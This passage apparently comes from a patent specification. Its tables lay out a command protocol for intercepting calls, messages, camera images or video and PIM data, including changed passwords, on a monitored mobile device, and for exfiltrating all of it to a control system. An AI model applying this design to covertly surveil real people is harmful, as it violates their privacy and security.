Upon receipt of a Call Intercept Query Command, the Call Intercept module responds immediately with the current configuration of the module.







TABLE 62







Call Intercept Query Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
5 (Call Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Call Intercept
Hex
1
1



command is 1500-1599.
Numeric





0 = Success






1599 = General unexpected error





ErrorString
If ReturnCode >= 1500, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Call
For Call Intercept configuration data, a
struct
1
1


Information
structure as defined in Table 63.
















TABLE 63







Call Configuration Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Call
“cci” - A static value used to indicate
static
1
1


Configuration
that the fields that follow represent a Call





Indicator
Configuration Info structure





Phone number
Phone number interested in recording. This
Alpha
1
1



can be a specific number as 5551234567,
Numeric





or an ‘*’ to record all numbers, or a pattern






match as in 360* or *1234*.





Direction
Character code on when to record call;
Alpha
1
1



OUT - record outgoing call only






IN - record incoming call only






All - record both incoming and






outgoing calls






Off - Turn off call recording









In some embodiments, upon receipt of a Call Intercept Exfiltration command, the Call Intercept module responds immediately with an acknowledgement that the command was received and processed. Table 64 shows the format for the Call Intercept Exfiltration response.







TABLE 64







Call Intercept Exfiltration Command Acknowledgement


Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application
5 (Call Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range
Hex
1
1



for all Call Intercept
Numeric





command is






1500-1599.






0 = Success






1500 = No audio 






capture capability






1599 = General 






unexpected error





ErrorString
If ReturnCode > 1500, 
Alpha
0
1



ErrorString should
numeric





contain a description






of the error






condition(s)





Message 
a—Acknowledgement
static
1
1


Type






Config-
For Call Intercept
struct
1
1


uration
audio file data, a 





Infor-
structure as





mation
defined in Table 65
















TABLE 65







Audio File Number Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Audio File
“afni”—- A static value
static
1
1


Number
used to indicate





Indicator
that the fields that follow 






represent a Open Mic 






Exfiltration Info struct





Number of
The number of audio files
Hex
1
1


audio files
that will be uploaded. This 
Numeric





is NOT the number of 






frames or segments. An






example is if there






are 3 different recording






sessions saved to the






device, that are made 






up of 6 total segments (2






segments per session), this






number would be 3.









6.9.5.5.1.3 Call Intercept Audio File Transmission Message

The Call Intercept module uploads audio file according to the format in Table 66.







TABLE 66







Call Intercept Audio File Transmission Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application
5 (Call Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range 
Hex
1
1



for all Call Intercept
Numeric





command is






1500-1599.






0 = Success






1599 = General






unexpected error





ErrorString
If ReturnCode >= 150, 
Alpha
0
1



ErrorString should
Numeric





contain a description 






of the error






condition(s)





Message
e—exfiltration
static
1
1


Type






Call Intercept
For Call Intercept 
struct
0
1


Audio
Audio Transmission





Segment
data, a structure as 





Information
defined in Table 67.
















TABLE 67







Call Intercept Audio Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Call
“ciei”—- A static value
static
1
1


Intercept
used to indicate that the 





Audio Ex-
fields that follow represent 





filtration
a Audio Exfiltration





Indicator
Info struct





Direction
This is the direction the
static
1
1



call was going






OUT—Outgoing call






IN—Incoming call





Phone
This is the phone number 
Alpha
1
1


Number
that the call was made 
Numeric





to or came from.





Time call
This is the time the call
Data/
1
1


placed/
started. . Format of time is 
Decimal




received
yyyyMMddHHmmss






with a 24 hour time stamp.





Audio 
The audio quality index the
Hex
1
1


Quality
audio was captured with.
Numeric




Index






Audio 
The codec this audio was
Alpha
1
1


Codec
encoded with





File Size
Required for all audio files, 
Hex
1
1



unless the audio is 
Numeric





being streamed. In bytes





File Count
When segmenting the audio
Hex
1
1



into smaller files, specify
Numeric





the segment count here





File Index
When segmenting the audio
Hex
1
1



into smaller files, 
Numeric





specify the zero based






index of this file here





Audio File
The audio data, encoded
blob
1
1



according to






the specified format









6.9.5.6 Message Intercept Module

The message intercept module provides for the interception and capture of, IM, Email, and other messaging traffic. In some embodiments, the message intercept module works in conjunction with the selective router module (2320) to identify and capture messaging traffic. The information captured is configurable and can include:

    
    
        Incoming and/or outgoing IM
        Incoming and/or outgoing e-mail
        PIN to PIN messages between Blackberry users, including the to and from addresses.

6.9.5.6.1 Message Intercept Commands

6.9.5.6.1.1 Message Intercept Passive Configuration Command

    
    









TABLE 68







Message Intercept Passive Configuration Command format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Applica-
6 (Message Intercept)
Hex
1
1


tion ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message 
p (Passive)
static
1
1


Type






Passive 
For passive monitoring a 
struct
0
n


Data
structure as defined





Struct
in Table 69.
















TABLE 69







Passive Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Passive
“pi”—- A static value used
static
1
1


message
to indicate that the fields 





indicator
that follow represent an






passive capture struct





Database
The name of the database 
Alpha
1
1


Name
to monitor. The defaults 






for this are “sms”,






“allemail”, and “mms”. 






Query Message Databases






command will return 






these database names.





Incoming
Single character code,
static
1
1


Action
interpreted as follows:






A—Allow (no action)






F—Allow, but forward






to OE






I—Intercept and 






forward to OE






B—Block (but do






not forward)





Outgoing
Single character code,
static
1
1


Action
interpreted as follows:






A—Allow (no action)






F—Allow, but forward






to OE






I—Intercept and






forward to OE






B—Block (but do






not forward)
















TABLE 70







Messaging Module Passive Configuration Command


Acknowledgment Message














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Applica-
6 (Message Intercept)
Hex
1
1


tion ID

Numeric




ReturnCode
The error code range 
Hex
1
1



for all Message
Numeric





Intercept commands






is 1600-1699.






0 = success






1600—One or more






databases not






supported






1699 = General






unexpected error





ErrorString
A string containing a
Alpha
0
1



description of the
Numeric





error(s) that occurred






during processing





Message
a—Acknowledgement
static
1
1


Type






Passive
For passive monitoring
struct
1
n


Data
a structure as





Ack Struct
defined in Table 71.
















TABLE 71







Passive Data Acknowledgement Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Passive
“pai”—- A static value
static
1
1


message
used to indicate





acknowl-
that the fields that





edgement
follow represent an





indicator
passive capture struct





Database
The name of the database 
Alpha
1
1


Name
to monitor. The defaults 






for this are “sms”, 






“email”, and “mms”. 






Query Message






Databases






command will return






database names.





Return
The error code range for
Hex
1
1


Code
all Message Intercept
Numeric





commands is 1600-1699.






0 = Success






1600—Database not






supported






1601—Incoming action






not supported






1602—Outgoing action






not supported






1603—Both incoming 






actions supported






1699 -- General 






unexpected error





Error 
If ReturnCode > 1603,
Alpha
1
1


String
ErrorString should con-






tain a description of the 






error condition(s)









6.9.5.6.1.2 Message Intercept Passive Configuration Command








TABLE 72







Message Intercept Active Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Applica-
6 (Message Intercept)
Hex
1
1


tion ID

Numeric





“Ctrl + k”





Command
mc (Module 
Hex
1
1



Command)
Numeric




Message
a (Active)
Static
1
1


Type






Database
The name of the
Alpha
1
1


Name
database to 






monitor. The defaults 






for this are “sms”,






“email”, and “mms”. 






Query Message






Databases






command will return 






these database names.





Folder
The name of the folder 
Alpha
1
1


Name
to place the message
numeric




Action
Single character code, 
Static
1
1



interpreted as follows:






D—Deliver message 






to local folder below






S—Send message to 






remote address





To 
The “To” field for 
Alpha
1
1


Address
the message. This
numeric





may have multiple 






addresses. Addresses






are delimited by “,”





From
The “From” field for 
Alpha
1
1


Address
the message.
numeric




CC 
The “CC” field for
Alpha
0
1


Address
the message. This
numeric





may have multiple






addresses. Addresses






are delimited by “,”





BCC
The “BCC” field for 
Alpha
0
1


Address
the message. This
numeric





may have multiple 






addresses. Addresses






are delimited by “,”





Subject 
Length of text for the
Hex
1
1


data
subject. We need to
Numeric




length
watch for ‘|’ in text.





Subject
Subject Text
Alpha
0
1




numeric




Body 
Mime type of
Alpha
1
1


mime-
body data





type






Body data
Length of data for 
Hex
1
1


length
body data. Message
Numeric





may be rich text, etc.





Body data
Body of the message.
Binary/
0
1




text




Message
For Message Attach-
Struct
0
1


Attachment
ment Data a structure





structure
as defined in Table 73
















TABLE 73







Message Attachment Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Message
“mai”—- A static 
static
1
1


Attach-
value used to indicate





ment
that the fields that follow 





Structure
represent an message 






Attachment Info struct





File 
The name of the file. This
Alpha
1
1


Name
will include extension. 






Examples are txt, jpg, 






png, doc, wav etc.





Mime
The mime type of the
Alpha
1
1


type
file data





File 
Length of file data
Hex
1
1


Data

numeric




length






File 
This is data that makes
Binary/
1
1


Data
up the file.
text






data
















TABLE 74







Message Intercept Active Configuration Command


Acknowledgment Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Applica-
6 (Message Intercept)
Hex
1
1


tion ID

Numeric




ReturnCode
The error code range
Hex
1
1



for all Message
Numeric





Intercept commands 






is 1600-1699.






0 = Success






1600—Database not






supported






1601—Incoming






action not supported






1602—Outgoing 






action not supported






1603—Both incoming






actions supported






1699 = General 






unexpected error





ErrorString
If ReturnCode > 1603, 
Alpha
0
1



ErrorString should
numeric





contain a description 






of the error 






condition(s)





Message
a—Acknowl-
Static
1
1


Type
edgement









6.9.5.6.1.3 Message Intercept Exfiltration Command








TABLE 75







Message Intercept Exfiltration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Applica-
6 (Message Intercept)
Hex
1
1


tion ID

Numeric





“Ctrl + k”,





Command
mc (Module Command)
Hex
1
1




Numeric




Message
e (exfiltration)
Static
1
1


Type






Exfiltra-
This is a structure that
struct
1
n


tion
contains the database and





Target
folder that extraction will





Struct
occur on. Database value






can be “ALL” and folder 






value can be “ALL”.






If Database






is “ALL” and folder






is “inbox” then all 






“inbox” in all databases






will be exfiltrated. If 






Database values is “sms”






and folder value is “ALL”, 






all folders in SMS database






will be exfiltrated. Table






76 contains the Exfiltration






Target Structure
















TABLE 76







Exfiltration Target Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Exfiltra-
“ei”—- A static value
Static
1
1


tion
used to indicate 





target 
that the fields that





indicator
follow represent an ex-






filtration target struct





Database
The name of the 
Alpha
1
1


Name
database to exfiltrate.






The defaults for this are 






“sms”, “allemail”, and 






“mms”. Query Message






Databases command will 






return database names.





Folder
The name of the folder 
Alpha
1
1


name
that contains the data






to exfi.
















TABLE 77







Message Intercept Exfiltration Command Acknowledgment


Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Applica-
6 (Message Intercept)
Hex
1
1


tion ID

Numeric




Return
The error code range
Hex
1
1


Code
for all Message
Numeric





Intercept commands 






is 1600-1699.






0 = Success






1600—Database not






supported






1601—Incoming action






not supported






1602—Outgoing action






not supported






1603—Both incoming






actions supported






1699 = General un-






expected error





Error 
If ReturnCode > 1603, 
Alpha
1
1


String
ErrorString should






contain a description 






of the error condition(s)





Message
a—Acknowledgement
Static
1
1


Type






Exfiltra-
For exfiltration structure
struct
1
n


tion Ack 
as defined in Table 78.





Struct
















TABLE 78







Exfiltration Acknowledgment Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Exfiltra-
“eai”—- A static value
static
1
1


tion
used to indicate





message
that the fields that





acknowl-
follow represent an





edgement
passive capture struct





indicator






Database
The name of the database 
Alpha
1
1


Name
to monitor. The defaults 






for this are “sms”,






“email”, and “mms”.






Query Message 






Databases command will






return database names.





Folder
Folder name
Alpha
1
1


name






Number of
This is the number of
Hex
1
1


messages
messages that should be 
Numeric




to be sent 
uploaded to server





to server






Return 
The error code range
Hex
1
1


Code
for all Message
Numeric





Intercept commands






is 1600-1699.






0 = Success






1600—Database not






supported






1601—Incoming action






not supported






1602—Outgoing action






not supported






1603—Both incoming






actions supported






1699 = General






unexpected error





Error
If ReturnCode > 1603, 
Alpha
1
1


String
ErrorString should con-






tain a description of the






error condition(s)









6.9.5.6.1.4 Message Intercept File Transmission Message








TABLE 79







Message Intercept File Transmission Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
6 (Message Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Message
Hex
1
1



Intercept commands is 1600-1699.
Numeric





0 = Success






1600 - Database not supported






1601 - Incoming action not supported






1602 - Outgoing action not supported






1603 - Both incoming actions supported






1699 = General unexpected error





ErrorString
If ReturnCode > 1603, ErrorString should
Alpha
0
1



contain a description of the error
Numeric





condition(s)





Message Type
e - exfiltration
static
1
1


Messaging
For Messaging Transmission data, a
struct
0
N


Segment
structure as defined in Table 80





Information
















TABLE 80







Messaging Exfiltration Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Messaging
“mei” - - A static value used to indicate
static
1
1


Exfiltration
that the fields that follow represent a





Indicator
Message Exfiltration Info struct





Exfiltration
For Database and Folder name format see
struct
1
1


Target
Exfiltration target structure as defined





Structure
in Table 76.





Single
For a single message structure see Table
Struct
1
n


message
81.





Structure
















TABLE 81







Single Message Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Single
“smei” - - A static value used to indicate
static
1
1


Message
that the fields that follow represent a





Exfiltration
Message Exfiltration Info struct





Indicator






Direction
This value represents if the message was
Hex
1
1



incoming to the device (1), outgoing from
numeric





the device (2), or unknown (0).





To Address
This is the To address of the message.
Alpha
0
1


From
This is the From address of the message.
Alpha
0
1


Address






CC Address
This is the CC address.
Alpha
0
1


BCC Address
This is the BCC address.
Alpha
0
1


Time stamp
The timestamp of the message. Format of
Data/
0
1



time is yyyyMMddHHmmss with a 24
Decimal





hour time stamp.





Subject data
Length of text for the subject. We need to
Hex
1
1


length
watch for ‘|’ in text.
Numeric




Subject
Subject of the message. Some messages
Alpha
0
1



may not contain a subject line.





Body mime-
Mime type of body data
Alpha
1
1


type






Body data
Length of data for body data. Message
Hex
1
1


length
may be rich text, etc.
Numeric




Body data
Body of the message.
Binary/text
0
1


Message
For Message Attachment Data a structure
struct
0
1


Attachment
as defined in Table 73.





structure









6.9.5.6.1.5 Message Intercept Query Command








TABLE 82







Message Intercept Query Command format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
6 (Message Intercept)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
q (Query)
Static
1
1
















TABLE 83







Message Intercept Query Command Acknowledgment Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
6 (Message Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Message
Hex
1
1



Intercept commands is 1600-1699.
Numeric





0 = Success






1600 - Database not supported






1601 - Incoming action not supported






1602 - Outgoing action not supported






1603 - Both incoming actions supported






1699 = General unexpected error





ErrorString
If ReturnCode > 1603, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Configuration
For message Intercept configuration data,
struct
1
1


Information
a structure as defined in Table 84.
















TABLE 84







Query Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Configuration
“qi” - - A static value used to indicate that
static
1
1


Indicator
the fields that follow represent a Message






Intercept Configuration Info struct





Passive Data
For passive monitoring a structure as
struct
0
n


structure
defined in Table 69.









6.9.5.6.1.6 Message Intercept Database Query Command








TABLE 85







Message Intercept Database Query Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header 






omitted for clarity





Application
6 (Message 
Hex
1
1


ID
Intercept)
Numeric





“Ctrl + k”





Command
mc (Module 
Hex
1
1



Command)
Numeric




Message 
qd (Query 
Static
1
1


Type
Databases)
















TABLE 86







Message Intercept Query Database Command Acknowledgment Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
6 (Message Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Message
Hex
1
1



Intercept commands is 1600-1699.
Numeric





0 = Success






1600 - Database not supported






1601 - Incoming action not supported






1602 - Outgoing action not supported






1603 - Both incoming actions supported






1699 = General unexpected error





ErrorString
If ReturnCode > 1603, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Message
For Message Intercept database data, a
struct
1
n


Database
structure as defined in Table 87.





Configuration






Information
















TABLE 87







Message Intercept Database Data Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Database
“qdi” - - A static value used to indicate
static
1
1


Configuration
that the fields that follow represent a





Indicator
Message Intercept database Configuration






Info struct





Database
Name of the message database that
Alpha
1
1


name
contains folders.





Folder name
Name of folder that contains messages.
Alpha
1
1


Number of
Number of messages in the folder
Hex
1
1


total messages

numeric




Number of
Number of messages that have not been
Hex
1
1


non-collected
loaded to server
numeric




messages









6.9.5.7 Camera Module

The Camera module captures still images or video (with or without audio) from the monitored mobile device's camera, if an image or video capture capability was identified on the device. In some embodiments, the camera module is configured to take one or more images from the camera, on a command or timed basis as well as when specified events occur, such as on device startup, when there is an incoming phone call, when the device changes location, etc. These images are exfiltrated to the control system (1440). The methods of video capture are configurable and include the following:

    
    
        Capture and store images
        Capture and store video
        Events to capture images
        Events to capture video
        Relay stored images or video, whether taken with the camera or just stored on the device
        Relay during capture (streaming)
        Image or video quality specification
    
    


The recorded images or video can be immediately streamed to the control system (1400), or saved on the device for later upload.







TABLE 88







Camera Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
Static variable that signifies the type of
static
1
1



command this is. Valid values are ‘c’,






‘q’, ‘a’ and ‘e’. (Configure, Query,






Activate, Exfiltration). See Sections






detailing each Message Type below.





Message
Structure to support Message Type
struct
0
1


Command






struct









6.9.5.7.1 Camera Commands

6.9.5.7.1.1 Camera Configuration Command

The command to configure the options for exfiltration of image or video data files for the Camera module is formatted as described in Table 89.







TABLE 89







Camera Module Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
11 (Camera)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
c (Configure)
static
1
1


Capture Type
Specify Image or Video capture. Values
Hex
1
1



can be 0, 1 or 2, where 0 = image
Numeric





capture, 1 = video capture, and 2 =






video/audio capture





Capture
For image capture, specifies time delay
Hex
1
1


Frequency
between sequential image captures.
Numeric





Value is in seconds.






For video capture, specifies time delay






between sequential video sequence






captures. Value is in seconds.





Capture
Used only with video capture. Specifies
Hex
0
1


Duration
the length of each capture in seconds.
Numeric




Event Mask
Bitmask enumerating the events that
4 byte
0
1



should trigger a Camera message to be
bitmask





sent. See Table 89a for the bitmask






layout





Capture Count
For image capture, specifies the number
Hex
1
1



of images to capture.
Numeric





For video capture, specifies the number






of sequences to capture.





Image quality
Quality of codec to use. Values can be 0
Hex
1
1



or 1, where 0 is the best quality (may
Numeric





have larger files) and 1 is lower quality






than best (smaller sized files). Default






value is 0. Example is 0 = JPG 50%






compression, half resolution and 1 = JPG






0% compression, full resolution.





Exfiltration
Three character code, interpreted as
static
1
1


Method
follows:






STR - Stream image or video data in






real-time






IMM - Upload image or video data






immediately after recording is stopped






STO - Store image or video data on






device






NDS - Upload image or video data






during next user-initiated data session






NIP - Upload image or video data during






next idle period. Length of idle period






must be specified with the Exfiltration






Threshold parameter in this message






MEM - Upload image or video data






when the available storage space reaches






a minimum amount. The minimum






amount of storage space must be






specified with the Exfiltration Threshold






parameter in this message





Exfiltration
Required for Exfiltration Method = NIP
Hex
0
1


Threshold
and MEM. Used to specify the threshold
Numeric





associated with each of these exfiltration






policies









Upon receipt of a Camera Configuration command, the Camera module responds immediately with an acknowledgement that the command was received and processed. Table 90 shows the format for the Camera Configuration response.







TABLE 89a







Camera Event Bitmask Layout








BIT
DESCRIPTION











0
Timer Event


1
Open


2
Device Power On


3
Device Power Off


4
Incoming SMS


5
Outgoing SMS


6
Incoming call


7
Outgoing call


8
Incoming email


9
Outgoing email


10
Incoming MMS


11
Outgoing MMS


12
Data session initiated


13
Data session ended


14
WiFi session initiated


15
WiFi session ended


16
Bluetooth session initiated


17
Bluetooth session ended


18
Location change


19-31
Open
















TABLE 90







Camera Configuration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Camera
Hex
1
1



commands is 2100-2199.
Numeric





0 = Success






2100 = No camera capture capability






2101 = No image capture capability






2102 = No video capture capability






2103 = Capture image failed






2104 = Capture video failed






2105 = Stop image capture failed






2106 = Stop video capture failed






2107 = No image to upload






2108 = No video to upload






2199 = General unexpected error





ErrorString
If ReturnCode > 2108, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Event Mask
A bitmask representing the events that
4 byte
1
1



were successfully enabled for the Camera
bitmask





command. See Table 3.1.2 for the bitmask
in Hex





layout









6.9.5.7.1.2 Camera Query Configuration Command

The command to query the configuration of the Camera module is formatted as described in Table 91.







TABLE 91







Camera Query Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
q (Query)
Static
1
1









Upon receipt of a Camera Query Command, the Camera module responds immediately with a list of image formats and video codecs available on the device.







TABLE 92







Camera Query Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Camera
Hex
1
1



commands is 2100-2199.
Numeric





0 = Success






2100 = No camera capture capability






2101 = No image capture capability






2102 = No video capture capability






2199 = General unexpected error





ErrorString
If ReturnCode > 2108, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Configuration
For Camera configuration data, a structure
struct
1
1


Information
as defined in Table 93.
















TABLE 93







Camera Query Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Configuration
“qi” -- A static value used to indicate that
static
1
1


Indicator
the fields that follow represent a Query






Info struct





Active Codec
The image file format currently configured
Alpha
1
1



to be used by the Camera module, a pipe
Numeric





character (“|”) and the codec currently






configured to be used by the Camera






module for video encoding.





Active Codec
The index associated with the image file
Hex
2
2


Index
format, followed by the index associated
Numeric





with the Active Codec.






0 = best quality,






1 = next best quality





Currently
This is a Boolean to let the server know if
Boolean
1
1


recording
images are being captured, or video is in
(0-1)





the process of being recorded.





Active
Three character code, interpreted
Alpha
1
1


Exfiltration
according to the Exfiltration Method





Method
parameter defined in Table 89.





Active
If Active Exfiltration Method = NIP or
Hex
0
1


Exfiltration
MEM, this value specifies the threshold
Numeric




Threshold
associated with each of the exfiltration






policies.









6.9.5.7.1.3 Camera Activation Command

The command to immediately start and stop image or video recording for the Camera module is formatted as described in Table 94.







TABLE 94







Camera Immediate Start and Stop Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
11 (Camera)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
a (Activation)
static
1
1


State
1 = Activate camera
boolean
1
1



0 = Deactivate camera





Duration
The number of images to capture in
Hex
1
1



image mode, and the number of seconds
Numeric





to record in video mode. A value of 0






indicates unlimited (or until a deactivate






command is received or memory of






device is low)









Upon receipt of a Camera Activation Command, the Camera module responds immediately with an acknowledgement message formatted as described in Table 95. The acknowledgement is sent using the configured destination.







TABLE 95







Camera Activation Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the Camera
Hex
1
1



Module command is 2100-2199.
Numeric





0 = Success






2100 = No camera capture capability






2101 = No image capture capability






2102 = No video capture capability






2103 = Capture image failed






2104 = Capture video failed






2199 = General unexpected error





ErrorString
If ReturnCode > 2108, ErrorString
Alpha
0
1



should contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.7.1.4 Camera Exfiltration Command

The command to immediately start uploading any saved images or video recordings is formatted as described in Table 96.







TABLE 96







Camera Exfiltration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module
Hex
1
1



Command)
Numeric




Message Type
e (exfiltration)
static
1
1









Upon receipt of a Camera Exfiltration command, the Camera module responds immediately with an acknowledgement that the command was received and processed. Table 97 shows the format for the Camera Exfiltration response.







TABLE 97







Camera Exfiltration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Camera
Hex
1
1



commands is 2100-2199.
Numeric





0 = Success






2100 = No camera capture capability






2101 = No image capture capability






2102 = No video capture capability






2103 = Capture image failed






2104 = Capture video failed






2107 = No image to upload






2108 = No video to upload






2199 = General unexpected error





ErrorString
If ReturnCode > 2108, ErrorString
Alpha
0
1



should contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Configuration
For Camera module data, a structure as
struct
1
1


Information
defined in Table 98.
















TABLE 98







Camera File Number Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Camera File
“cfni” -- A static value used to indicate
static
1
1


Number
that the fields that follow represent a





Indicator
Camera Exfiltration Info struct





Number of
The number of image or video files that
Hex
1
1


capture files
will be uploaded. This is NOT the number
Numeric





of frames or segments. Example: if there






are 3 different capture sessions saved to






the device, that are made up of 6 total






images and/or segments (2 images or






segments per session), this number would






be 3.









6.9.5.7.1.5 Camera File Transmission Message

The Camera module uploads image and video files according to the format in Table 99.







TABLE 99







Camera File Transmission Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
11 (Camera)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Camera
Hex
1
1



commands is 2100-2199.
Numeric





0 = Success






2100 = No camera capture capability






2101 = No image capture capability






2102 = No video capture capability






2103 = Capture image failed






2104 = Capture video failed






2107 = No image to upload






2108 = No video to upload






2199 = General unexpected error





ErrorString
If ReturnCode > 2108, ErrorString should
Alpha
0
1



contain a description of the error
Numeric





condition(s)





Message
e - exfiltration
static
1
1


Type






Camera
For Camera Transmission data, a structure
struct
0
1


Segment
as defined in Table 100.





Information
















TABLE 100







Camera Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Camera
“cei” - A static value used to indicate
static
1
1


Exfiltration
that the fields that follow represent a





Indicator
Camera Exfiltration Info struct





Camera
The quality index of the image file or
Hex
1
1


Quality Index
video codec used.
Numeric




Format
For image data, the file format used. For
Alpha
1
1



video data, the codec the video was






encoded with





File Size
Required for all image or video files,
Hex
1
1



unless the image or video is being
Numeric





streamed in bytes





File Count
When segmenting the image or video into
Hex
1
1



smaller files, specify the segment count
Numeric





here





File Index
When segmenting the image or video data
Hex
1
1



into smaller files, specify the zero based
Numeric





index of this file here





Event Mask
A bitmask representing the event that
4 byte
1
1



triggered the camera message. See Table
bitmask





89a for the bitmask layout
in Hex




Start Time
This is the start time of the entire camera
Date/Decimal
1
1



capture, NOT segment start time. If there






are multiple camera segments uploaded,






this start time value will be the same.






Format of time is yyyyMMddHHmmss






with a 24 hour time stamp.





Stop Time
This is the stop time of the entire camera
Data/Decimal
1
1



capture, NOT segment stop time. If there






are multiple camera segments uploaded,






this stop time value will be the same for






each. Format of time is






yyyyMMddHHmmss with a 24 hour time






stamp. If uploading of data is occurring






while images or video are being captured,






this value will be 0.





Camera File
The image or video data, encoded
blob
1
1



according to the specified format









6.9.5.8 PIM Capture Module

The PIM capture module collects information from the PIM application provided on the monitored mobile device (1100). The information captured are configurable, and can include:

    
    
        All, new or changed calendar entries
        All, new or changed contact entries
        Changed password
    
    









TABLE 101







PIM Capture Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
14 (PIM Capture)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
Static variable that signifies the type of
static
1
1



command this is. Valid values are ‘c’ and






